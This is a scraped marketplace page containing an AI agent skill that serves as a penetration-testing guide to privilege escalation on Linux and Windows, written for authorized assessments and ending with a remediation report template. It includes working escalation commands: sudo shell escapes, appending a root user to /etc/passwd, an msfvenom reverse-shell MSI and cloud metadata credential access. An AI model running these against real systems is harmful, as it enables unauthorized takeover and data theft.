[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B8VK4YDA86H56GCMDFZR1K":3,"skill-same:01M7B8VK4YDA86H56GCMDFZR1K":88},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":13,"repositoryHtmlUrl":55,"repositoryHomepageUrl":6,"ownerHtmlUrl":56,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":57,"install":58,"resources":71},"01M7B8VK4YDA86H56GCMDFZR1K","performing-privilege-escalation-assessment",null,"Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-privilege-escalation-assessment\ndescription: 'Performs privilege escalation assessments on compromised Linux and Windows\n  systems to identify paths from low-privilege access to root or SYSTEM-level control.\n  The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID\n  binaries, unquoted service paths, and credential stores to demonstrate the full\n  impact of an initial compromise. Activates for requests involving privilege escalation\n  testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n\n  '\ndomain: cybersecurity\nsubdomain: penetration-testing\ntags:\n- privilege-escalation\n- post-exploitation\n- Linux-privesc\n- Windows-privesc\n- local-exploitation\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Executable Denylisting\n- Execution Isolation\n- File Metadata Consistency Validation\n- Restore Access\n- Password Authentication\nnist_csf:\n- ID.RA-01\n- ID.RA-06\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n","# Performing Privilege Escalation Assessment\n\n## When to Use\n\n- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise\n- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks\n- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques\n- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints\n- Validating that container breakout and VM escape controls are properly configured\n\n**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.\n\n## Prerequisites\n\n- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means\n- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)\n- Compiled kernel exploits for common CVEs or access to compilation tools on the target\n- GTFOBins reference for Linux SUID\u002Fsudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries\n- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target\n\n## Workflow\n\n### Step 1: System Enumeration\n\nGather comprehensive information about the target system:\n\n**Linux Enumeration:**\n- `id && whoami` - Current user and group memberships\n- `uname -a` - Kernel version for kernel exploit identification\n- `cat \u002Fetc\u002Fos-release` - Distribution and version\n- `sudo -l` - Commands the current user can run as root via sudo\n- `find \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull` - SUID binaries\n- `find \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull` - SGID binaries\n- `crontab -l && ls -la \u002Fetc\u002Fcron*` - Scheduled tasks running as root\n- `ps aux | grep root` - Processes running as root\n- `cat \u002Fetc\u002Fpasswd` - User accounts (look for additional users with UID 0)\n- `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` - World-writable directories\n- Run `linpeas.sh` for automated comprehensive enumeration\n\n**Windows Enumeration:**\n- `whoami \u002Fpriv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)\n- `systeminfo` - OS version, hotfix level, architecture\n- `wmic service get name,pathname,startmode` - Unquoted service paths\n- `icacls \"C:\\Program Files\" \u002FT` - Writable directories in Program Files\n- `reg query HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer \u002Fv AlwaysInstallElevated` - AlwaysInstallElevated check\n- `cmdkey \u002Flist` - Stored Windows credentials\n- `schtasks \u002Fquery \u002Ffo LIST \u002Fv` - Scheduled tasks with their run-as accounts\n- Run `winPEAS.exe` for automated comprehensive enumeration\n\n### Step 2: Linux Privilege Escalation Vectors\n\nTest identified escalation vectors systematically:\n\n- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: \u002Fusr\u002Fbin\u002Fvim`, use GTFOBins to escalate:\n  - `sudo vim -c ':!\u002Fbin\u002Fbash'` to spawn a root shell\n  - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env\n- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:\n  - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)\n  - Known SUID: Check GTFOBins for exploitation of standard SUID binaries\n- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:\n  - Modify the script to add a reverse shell or SUID copy of bash\n  - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable\n- **Kernel exploits**: Match the kernel version to known exploits:\n  - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11\n  - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3\n  - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions\n- **Capabilities abuse**: `getcap -r \u002F 2>\u002Fdev\u002Fnull` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)\n- **Writable \u002Fetc\u002Fpasswd**: If \u002Fetc\u002Fpasswd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::\u002Froot:\u002Fbin\u002Fbash' >> \u002Fetc\u002Fpasswd`\n\n### Step 3: Windows Privilege Escalation Vectors\n\nTest Windows-specific escalation paths:\n\n- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):\n  - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM\n  - `PrintSpoofer.exe -i -c \"cmd \u002Fc whoami\"` -> `NT AUTHORITY\\SYSTEM`\n- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\\Program Files\\My App\\service.exe`) and you can write to an intermediate directory:\n  - Place a malicious executable at `C:\\Program Files\\My.exe` which will execute when the service restarts\n- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:\n  - Replace the binary with a reverse shell and restart the service\n- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:\n  - Generate a malicious MSI: `msfvenom -p windows\u002Fx64\u002Fshell_reverse_tcp LHOST=\u003Cip> LPORT=\u003Cport> -f msi -o shell.msi`\n  - Install with elevated privileges: `msiexec \u002Fquiet \u002Fqn \u002Fi shell.msi`\n- **Stored credentials**: Check for credentials in `cmdkey \u002Flist`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history\n- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.\n- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries\n\n### Step 4: Container and Cloud Escalation\n\nTest for escalation paths in containerized and cloud environments:\n\n- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`\u002Fvar\u002Frun\u002Fdocker.sock`), or has `SYS_ADMIN` capability\n- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID\u002FhostNetwork namespaces, or hostPath volume mounts\n- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F`) to discover IAM roles, credentials, and instance information\n- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation\n\n### Step 5: Documentation and Impact Assessment\n\nDocument the complete escalation path and business impact:\n\n- Record every command executed during escalation with timestamps\n- Capture proof of elevated access (whoami showing root\u002FSYSTEM, accessing restricted files)\n- Document what data or systems become accessible at the elevated privilege level\n- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)\n- Provide specific remediation for each identified escalation vector\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |\n| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |\n| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root\u002FSYSTEM-level access |\n| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read\u002Fwrite, or shell escape when misconfigured |\n| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |\n| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |\n| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |\n\n## Tools & Systems\n\n- **linPEAS \u002F winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows\n- **GTFOBins \u002F LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured\n- **PrintSpoofer \u002F GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts\n- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits\n\n## Common Scenarios\n\n### Scenario: Privilege Escalation on a Linux Web Server\n\n**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.\n\n**Approach**:\n1. Run `linpeas.sh` which identifies that `www-data` can run `\u002Fusr\u002Fbin\u002Ffind` as root via sudo without a password\n2. Verify with `sudo -l`: `(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind`\n3. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit`\n4. Execute the command and obtain a root shell\n5. As root, access `\u002Fetc\u002Fshadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII\n6. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible\n\n**Pitfalls**:\n- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash\n- Not checking for container environments where apparent root access may be limited to the container namespace\n- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials\n- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths\n\n## Output Format\n\n```\n## Finding: Sudo Misconfiguration Allowing Root Escalation via find\n\n**ID**: PRIV-001\n**Severity**: Critical (CVSS 8.8)\n**Affected Host**: web-prod-01 (10.10.5.15)\n**OS**: Ubuntu 22.04 LTS\n**Initial Access**: www-data (via PHP file upload - WEB-004)\n**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching\n\n**Description**:\nThe www-data user is configured in \u002Fetc\u002Fsudoers to execute \u002Fusr\u002Fbin\u002Ffind as root\nwithout a password. The find command supports the -exec flag which can spawn a\nroot shell, effectively granting www-data unrestricted root access.\n\n**Proof of Concept**:\nwww-data@web-prod-01:~$ sudo -l\n(root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\nwww-data@web-prod-01:~$ sudo find . -exec \u002Fbin\u002Fbash -p \\; -quit\nroot@web-prod-01:~# id\nuid=0(root) gid=0(root) groups=0(root)\n\n**Impact**:\nFull root access on the production web server. From root, the tester accessed\ndatabase credentials in \u002Fvar\u002Fwww\u002Fapp\u002F.env, connected to MySQL, and confirmed\nread access to 75,000 customer records including names, emails, and addresses.\n\n**Remediation**:\n1. Remove the \u002Fusr\u002Fbin\u002Ffind sudo entry for www-data\n2. If find access is required, restrict it to specific directories with --no-exec\n3. Audit all sudo entries for binaries listed in GTFOBins\n4. Implement sudo logging with auditd for all privileged command execution\n```\n",{"name":5,"tags":24,"author":30,"domain":31,"license":14,"version":32,"nist_csf":33,"subdomain":38,"description":39,"mitre_attack":40,"d3fend_techniques":46},[25,26,27,28,29],"privilege-escalation","post-exploitation","Linux-privesc","Windows-privesc","local-exploitation","mahipal","cybersecurity","1.0.0",[34,35,36,37],"ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07","penetration-testing","Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n",[41,42,43,44,45],"T1595","T1190","T1059","T1078","T1068",[47,48,49,50,51],"Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Restore Access","Password Authentication","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":59,"prompt":69,"zipAvailable":70},[60,63,66],{"tool":61,"command":62},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill performing-privilege-escalation-assessment",{"tool":64,"command":65},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-privilege-escalation-assessment",{"tool":67,"command":68},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-privilege-escalation-assessment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002FSKILL.md",true,[72,76,82],{"path":73,"resourceType":73,"resourceTypeDesc":74,"sizeBytes":75,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"references\u002Fapi-reference.md","REFERENCE","参考文档",1865,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002Freferences\u002Fapi-reference.md",{"path":83,"resourceType":84,"resourceTypeDesc":85,"sizeBytes":86,"sourceHtmlUrl":87},"scripts\u002Fagent.py","SCRIPT","脚本",9763,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-privilege-escalation-assessment\u002Fscripts\u002Fagent.py",[89,97,104,111,118,125],{"skillNo":90,"name":91,"nameZh":6,"description":92,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":94,"categories":95,"keywords":96,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":93,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit 